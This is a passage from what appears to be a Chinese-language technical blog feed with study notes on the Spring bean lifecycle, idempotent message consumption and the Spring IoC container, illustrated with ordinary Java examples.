class="keyword">class</span> <span class="title class_">LifecycleBean</span> <span class="keyword">implements</span> </span><br><span class="line">        <span class="title class_">BeanNameAware</span>, </span><br><span class="line">        BeanFactoryAware, </span><br><span class="line">        ApplicationContextAware,</span><br><span class="line">        InitializingBean, </span><br><span class="line">        DisposableBean &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">LifecycleBean</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;1. 构造器：实例化&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setName</span><span class="params">(String name)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;2. 属性赋值：name = &quot;</span> + name);</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setBeanName</span><span class="params">(String name)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;3. BeanNameAware：name = &quot;</span> + name);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setBeanFactory</span><span class="params">(BeanFactory beanFactory)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;4. BeanFactoryAware&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setApplicationContext</span><span class="params">(ApplicationContext applicationContext)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;5. ApplicationContextAware&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostConstruct</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">postConstruct</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;7a. @PostConstruct&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">afterPropertiesSet</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;7b. InitializingBean.afterPropertiesSet()&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">customInit</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;7c. 自定义 init-method&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PreDestroy</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">preDestroy</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;10a. @PreDestroy&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;10b. DisposableBean.destroy()&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">customDestroy</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;10c. 自定义 destroy-method&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="BeanPostProcessor-演示"><a href="#BeanPostProcessor-演示" class="headerlink" title="BeanPostProcessor 演示"></a>BeanPostProcessor 演示</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomBeanPostProcessor</span> <span class="keyword">implements</span> <span class="title class_">BeanPostProcessor</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">postProcessBeforeInitialization</span><span class="params">(Object bean, String beanName)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (bean <span class="keyword">instanceof</span> LifecycleBean) &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;6. BeanPostProcessor.beforeInitialization：&quot;</span> + beanName);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> bean;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">postProcessAfterInitialization</span><span class="params">(Object bean, String beanName)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (bean <span class="keyword">instanceof</span> LifecycleBean) &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;8. BeanPostProcessor.afterInitialization：&quot;</span> + beanName);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> bean;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="输出顺序"><a href="#输出顺序" class="headerlink" title="输出顺序"></a>输出顺序</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. 构造器：实例化</span><br><span class="line">2. 属性赋值：name = xxx</span><br><span class="line">3. BeanNameAware：name = lifecycleBean</span><br><span class="line">4. BeanFactoryAware</span><br><span class="line">5. ApplicationContextAware</span><br><span class="line">6. BeanPostProcessor.beforeInitialization：lifecycleBean</span><br><span class="line">7a. @PostConstruct</span><br><span class="line">7b. InitializingBean.afterPropertiesSet()</span><br><span class="line">7c. 自定义 init-method</span><br><span class="line">8. BeanPostProcessor.afterInitialization：lifecycleBean</span><br><span class="line">Bean 就绪！</span><br><span class="line">...</span><br><span class="line">10a. @PreDestroy</span><br><span class="line">10b. DisposableBean.destroy()</span><br><span class="line">10c. 自定义 destroy-method</span><br></pre></td></tr></table></figure><h2 id="关键扩展点"><a href="#关键扩展点" class="headerlink" title="关键扩展点"></a>关键扩展点</h2><p>#</p><h2 id="1-Aware-接口"><a href="#1-Aware-接口" class="headerlink" title="1. Aware 接口"></a>1. Aware 接口</h2><p>用于获取 Spring 容器的基础设施：</p><table><thead><tr><th>接口</th><th>获取对象</th></tr></thead><tbody><tr><td>BeanNameAware</td><td>Bean 名称</td></tr><tr><td>BeanFactoryAware</td><td>BeanFactory</td></tr><tr><td>ApplicationContextAware</td><td>ApplicationContext</td></tr><tr><td>EnvironmentAware</td><td>Environment</td></tr><tr><td>ResourceLoaderAware</td><td>ResourceLoader</td></tr></tbody></table><p>#</p><h2 id="2-BeanPostProcessor"><a href="#2-BeanPostProcessor" class="headerlink" title="2. BeanPostProcessor"></a>2. BeanPostProcessor</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">BeanPostProcessor</span> &#123;</span><br><span class="line">    <span class="comment">// 初始化前处理</span></span><br><span class="line">    Object <span class="title function_">postProcessBeforeInitialization</span><span class="params">(Object bean, String beanName)</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 初始化后处理（AOP代理在此创建）</span></span><br><span class="line">    Object <span class="title function_">postProcessAfterInitialization</span><span class="params">(Object bean, String beanName)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>应用场景</strong>：</p><ul><li>AOP 代理创建</li><li>@Autowired 处理（AutowiredAnnotationBeanPostProcessor）</li><li>@Scheduled 处理</li><li>属性加密解密</li></ul><p>#</p><h2 id="3-初始化方法"><a href="#3-初始化方法" class="headerlink" title="3. 初始化方法"></a>3. 初始化方法</h2><p>三种方式，执行顺序：</p><ol><li><code>@PostConstruct</code>（JSR-250，推荐）</li><li><code>InitializingBean.afterPropertiesSet()</code>（侵入性较强）</li><li><code>init-method</code>（XML/注解配置）</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean(initMethod = &quot;customInit&quot;, destroyMethod = &quot;customDestroy&quot;)</span></span><br><span class="line"><span class="keyword">public</span> LifecycleBean <span class="title function_">lifecycleBean</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">LifecycleBean</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-销毁方法"><a href="#4-销毁方法" class="headerlink" title="4. 销毁方法"></a>4. 销毁方法</h2><p>三种方式，执行顺序：</p><ol><li><code>@PreDestroy</code>（JSR-250，推荐）</li><li><code>DisposableBean.destroy()</code></li><li><code>destroy-method</code></li></ol><h2 id="实际应用"><a href="#实际应用" class="headerlink" title="实际应用"></a>实际应用</h2><p>#</p><h2 id="场景1：属性解密"><a href="#场景1：属性解密" class="headerlink" title="场景1：属性解密"></a>场景1：属性解密</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DecryptBeanPostProcessor</span> <span class="keyword">implements</span> <span class="title class_">BeanPostProcessor</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">postProcessAfterInitialization</span><span class="params">(Object bean, String beanName)</span> &#123;</span><br><span class="line">        <span class="keyword">for</span> (Field field : bean.getClass().getDeclaredFields()) &#123;</span><br><span class="line">            <span class="keyword">if</span> (field.isAnnotationPresent(Encrypted.class)) &#123;</span><br><span class="line">                field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">                <span class="type">String</span> <span class="variable">encrypted</span> <span class="operator">=</span> (String) field.get(bean);</span><br><span class="line">                field.set(bean, decrypt(encrypted));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> bean;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="场景2：健康检查"><a href="#场景2：健康检查" class="headerlink" title="场景2：健康检查"></a>场景2：健康检查</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HealthCheckBean</span> <span class="keyword">implements</span> <span class="title class_">InitializingBean</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">afterPropertiesSet</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 启动时检查数据库连接、Redis等</span></span><br><span class="line">        checkDatabaseConnection();</span><br><span class="line">        checkRedisConnection();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="场景3：资源释放"><a href="#场景3：资源释放" class="headerlink" title="场景3：资源释放"></a>场景3：资源释放</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ConnectionPool</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Connection connection;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostConstruct</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">()</span> &#123;</span><br><span class="line">        connection = createConnection();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PreDestroy</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">close</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (connection != <span class="literal">null</span>) &#123;</span><br><span class="line">            connection.close();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="原型-Bean-的生命周期"><a href="#原型-Bean-的生命周期" class="headerlink" title="原型 Bean 的生命周期"></a>原型 Bean 的生命周期</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Scope(&quot;prototype&quot;)</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PrototypeBean</span> &#123;</span><br><span class="line">    <span class="meta">@PreDestroy</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 不会自动调用！</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：prototype 作用域的 Bean，Spring 只负责创建，不管理销毁。需要手动释放资源。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>阶段</th><th>扩展方式</th><th>用途</th></tr></thead><tbody><tr><td>实例化</td><td>构造器</td><td>创建对象</td></tr><tr><td>属性赋值</td><td>Setter/字段</td><td>依赖注入</td></tr><tr><td>Aware</td><td>setXxx</td><td>获取容器资源</td></tr><tr><td>初始化前</td><td>BeanPostProcessor.before</td><td>预处理</td></tr><tr><td>初始化</td><td>@PostConstruct/afterPropertiesSet</td><td>初始化逻辑</td></tr><tr><td>初始化后</td><td>BeanPostProcessor.after</td><td>AOP代理、后处理</td></tr><tr><td>销毁</td><td>@PreDestroy/destroy</td><td>资源释放</td></tr></tbody></table><p>掌握 Bean 生命周期，可以灵活运用 Spring 的扩展点，实现各种高级功能。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入</p></li><li><p>@PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键</p></li><li><p>Aware 接口让 Bean 能够感知容器的上下文信息</p></li><li><p>销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息重复消费如何保证幂等</title>
      <link href="//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/"/>
      <url>//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/</url>
      
        <content type="html"><![CDATA[<h1 id="消息重复消费如何保证幂等"><a href="#消息重复消费如何保证幂等" class="headerlink" title="消息重复消费如何保证幂等"></a>消息重复消费如何保证幂等</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring IoC容器到底解决了什么</title>
      <link href="//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/"/>
      <url>//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-IoC容器到底解决了什么"><a href="#Spring-IoC容器到底解决了什么" class="headerlink" title="Spring IoC容器到底解决了什么"></a>Spring IoC容器到底解决了什么</h1><p>IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。</p><h2 id="什么是控制反转"><a href="#什么是控制反转" class="headerlink" title="什么是控制反转"></a>什么是控制反转</h2><p>#</p><h2 id="传统方式：对象主动获取依赖"><a href="#传统方式：对象主动获取依赖" class="headerlink" title="传统方式：对象主动获取依赖"></a>传统方式：对象主动获取依赖</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="comment">// 自己创建依赖</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">UserDao</span> <span class="variable">userDao</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UserDaoImpl</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userDao.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>问题</strong>：</p><ol><li>紧耦合：依赖具体实现</li><li>难测试：无法替换 Mock 对象</li><li>难扩展：修改依赖需要改代码</li></ol><p>#</p><h2 id="IoC-方式：容器注入依赖"><a href="#IoC-方式：容器注入依赖" class="headerlink" title="IoC 方式：容器注入依赖"></a>IoC 方式：容器注入依赖</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> UserDao userDao;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 由外部注入</span></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserService</span><span class="params">(UserDao userDao)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userDao = userDao;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userDao.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>优势</strong>：</p><ol><li>松耦合：依赖接口而非实现</li><li>易测试：方便注入 Mock</li><li>可扩展：配置决定实现</li></ol><h2 id="IoC-vs-DI"><a href="#IoC-vs-DI" class="headerlink" title="IoC vs DI"></a>IoC vs DI</h2><table><thead><tr><th>概念</th><th>说明</th></tr></thead><tbody><tr><td>IoC</td><td>设计原则，控制权的转移</td></tr><tr><td>DI</td><td>实现方式，依赖由外部注入</td></tr></tbody></table><p><strong>关系</strong>：DI 是 IoC 的一种实现方式。此外还有依赖查找（DL）。</p><h2 id="Spring-IoC-容器"><a href="#Spring-IoC-容器" class="headerlink" title="Spring IoC 容器"></a>Spring IoC 容器</h2><p>#</p><h2 id="核心接口"><a href="#核心接口" class="headerlink" title="核心接口"></a>核心接口</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">BeanFactory（基础IoC容器）</span><br><span class="line">    └── ApplicationContext（高级容器）</span><br><span class="line">            ├── ClassPathXmlApplicationContext</span><br><span class="line">            ├── AnnotationConfigApplicationContext</span><br><span class="line">            └── SpringApplication（Spring Boot）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="BeanFactory-vs-ApplicationContext"><a href="#BeanFactory-vs-ApplicationContext" class="headerlink" title="BeanFactory vs ApplicationContext"></a>BeanFactory vs ApplicationContext</h2><table><thead><tr><th>特性</th><th>BeanFactory</th><th>ApplicationContext</th></tr></thead><tbody><tr><td>懒加载</td><td>是</td><td>否（可配置）</td></tr><tr><td>事件发布</td><td>不支持</td><td>支持</td></tr><tr><td>AOP 集成</td><td>需手动</td><td>内置</td></tr><tr><td>MessageSource</td><td>不支持</td><td>支持</td></tr><tr><td>资源加载</td><td>基础</td><td>高级</td></tr></tbody></table><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// BeanFactory（很少直接使用）</span></span><br><span class="line"><span class="type">BeanFactory</span> <span class="variable">factory</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">XmlBeanFactory</span>(<span class="keyword">new</span> <span class="title class_">ClassPathResource</span>(<span class="string">&quot;beans.xml&quot;</span>));</span><br><span class="line"><span class="type">UserService</span> <span class="variable">service</span> <span class="operator">=</span> factory.getBean(UserService.class);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ApplicationContext（推荐）</span></span><br><span class="line"><span class="type">ApplicationContext</span> <span class="variable">context</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AnnotationConfigApplicationContext</span>(AppConfig.class);</span><br><span class="line"><span class="type">UserService</span> <span class="variable">service</span> <span class="operator">=</span> context.getBean(UserService.class);</span><br></pre></td></tr></table></figure><h2 id="依赖注入的三种方式"><a href="#依赖注入的三种方式" class="headerlink" title="依赖注入的三种方式"></a>依赖注入的三种方式</h2><p>#</p><h2 id="1-构造器注入（推荐）"><a href="#1-构造器注入（推荐）" class="headerlink" title="1. 构造器注入（推荐）"></a>1. 构造器注入（推荐）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserDao userDao;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span>  <span class="comment">// Spring 4.3+ 可省略</span></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserService</span><span class="params">(UserDao userDao)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userDao = userDao;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：</p><ul><li>依赖不可变（final）</li><li>依赖非空</li><li>易测试</li></ul><p>#</p><h2 id="2-Setter-注入"><a href="#2-Setter-注入" class="headerlink" title="2. Setter 注入"></a>2. Setter 注入</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> UserDao userDao;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setUserDao</span><span class="params">(UserDao userDao)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userDao = userDao;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：可选依赖<br><strong>缺点</strong>：对象可能处于不完整状态</p><p>#</p><h2 id="3-字段注入（不推荐）"><a href="#3-字段注入（不推荐）" class="headerlink" title="3. 字段注入（不推荐）"></a>3. 字段注入（不推荐）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserDao userDao;  <span class="comment">// 反射注入</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>缺点</strong>：</p><ul><li>无法使用 final</li><li>无法保证非空</li><li>不易测试（需反射或 Spring 容器）</li></ul><h2 id="IoC-解决的问题"><a href="#IoC-解决的问题" class="headerlink" title="IoC 解决的问题"></a>IoC 解决的问题</h2><p>#</p><h2 id="1-解耦"><a href="#1-解耦" class="headerlink" title="1. 解耦"></a>1. 解耦</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 以前</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">AlipayPayment</span> <span class="variable">payment</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AlipayPayment</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 现在</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Payment payment;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">OrderService</span><span class="params">(Payment payment)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.payment = payment;  <span class="comment">// 可以是 AlipayPayment 或 WechatPayment</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-可测试性"><a href="#2-可测试性" class="headerlink" title="2. 可测试性"></a>2. 可测试性</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Test</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">testGetUser</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="comment">// 注入 Mock 对象</span></span><br><span class="line">    <span class="type">UserDao</span> <span class="variable">mockDao</span> <span class="operator">=</span> Mockito.mock(UserDao.class);</span><br><span class="line">    <span class="keyword">when</span>(mockDao.findById(<span class="number">1L</span>)).thenReturn(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="string">&quot;test&quot;</span>));</span><br><span class="line">    </span><br><span class="line">    <span class="type">UserService</span> <span class="variable">service</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UserService</span>(mockDao);</span><br><span class="line">    <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> service.getUser(<span class="number">1L</span>);</span><br><span class="line">    </span><br><span class="line">    assertEquals(<span class="string">&quot;test&quot;</span>, user.getName());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-AOP-基础"><a href="#3-AOP-基础" class="headerlink" title="3. AOP 基础"></a>3. AOP 基础</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transfer</span><span class="params">(Long from, Long to, BigDecimal amount)</span> &#123;</span><br><span class="line">    <span class="comment">// Spring 通过 IoC 管理代理对象</span></span><br><span class="line">    <span class="comment">// 在方法前后自动开启/提交事务</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-生命周期管理"><a href="#4-生命周期管理" class="headerlink" title="4. 生命周期管理"></a>4. 生命周期管理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DatabaseConnection</span> &#123;</span><br><span class="line">    <span class="meta">@PostConstruct</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 连接数据库</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PreDestroy</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 关闭连接</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Bean-的作用域"><a href="#Bean-的作用域" class="headerlink" title="Bean 的作用域"></a>Bean 的作用域</h2><table><thead><tr><th>作用域</th><th>说明</th></tr></thead><tbody><tr><td>singleton</td><td>默认，每个 Spring 容器一个实例</td></tr><tr><td>prototype</td><td>每次获取创建新实例</td></tr><tr><td>request</td><td>HTTP 请求范围</td></tr><tr><td>session</td><td>HTTP 会话范围</td></tr><tr><td>application</td><td>ServletContext 范围</td></tr></tbody></table><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@Scope(&quot;prototype&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PrototypeBean</span> &#123;</span><br><span class="line">    <span class="comment">// 每次注入都创建新实例</span></span><br><span 